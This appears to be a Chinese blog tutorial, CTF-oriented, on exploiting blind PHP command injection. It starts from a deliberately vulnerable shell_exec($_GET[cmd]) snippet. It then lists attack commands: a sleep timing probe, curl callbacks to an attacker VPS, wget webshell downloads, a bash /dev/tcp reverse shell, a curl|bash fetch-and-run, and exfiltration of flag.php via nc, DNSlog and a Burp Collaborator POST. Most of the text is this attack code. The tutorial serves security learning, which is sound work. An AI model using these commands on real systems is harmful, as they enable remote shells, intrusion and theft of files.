背景

exec,shell_exec等函数可以执行命令但没有回显,我们需要寻找方法来得到命令执行后的结果

<?php 
   highlight__file(__FILE__)
   shell_exec($_GET[cmd]);
    ?>

判断命令是否执行

延时

利用sleep函数

cmd=ls|sleep 5

HTTP请求

目标主机通过向VPS发起HTTP请求,VPS监听到请求则代表命令执行成功(注意:ping命令不产生http请求)

VPS:nc -lvp 8888

目标主机:cmd=curl ip:8888

DNS请求

利用dnslog

利用方式

直接写入

利用cp命令:cp flag.php 1.txt

利用mv命令:mv flag.php 1.txt

利用>输出结果到文件:ls > 1.txt

利用wget下载:wget http://ip/shell.txt > shell.php或者wget http://ip/shell.txt -O shell.php

反弹shell

bash反弹

目标主机:

bash -i >& /dev/tcp/ip/8888 0>&1

VPS:

nc -lvp 8888

也可以将命令写入文件,之后在存在命令执行的地方输入curl ip|bash即可反弹

外带数据

使用ceye或者dnslog

cmd=curl `命令`.域名

nc外带

目标主机:nc ip 8888 < flag.php
VPS:nc -lvp 8888

当tcp不能使用,-u参数调整为udp

目标主机:nc -u ip 8888 < flag.php
VPS:nc -ulvp 8888

burp(Collaborator Client)

使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)(-X指定发送一个POST请求,-F指定要发送的文件)

获取Collaborator Client分配给BURP的链接:

打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard

目标主机:

cmd=curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net

image-20220221013752788

参考:

https://blog.csdn.net/weixin_33164837/article/details/112421828

https://h0ld1rs.github.io/2021/06/24/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%97%A0%E5%9B%9E%E6%98%BE/#burp-Collaborator-Client

点赞(6) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部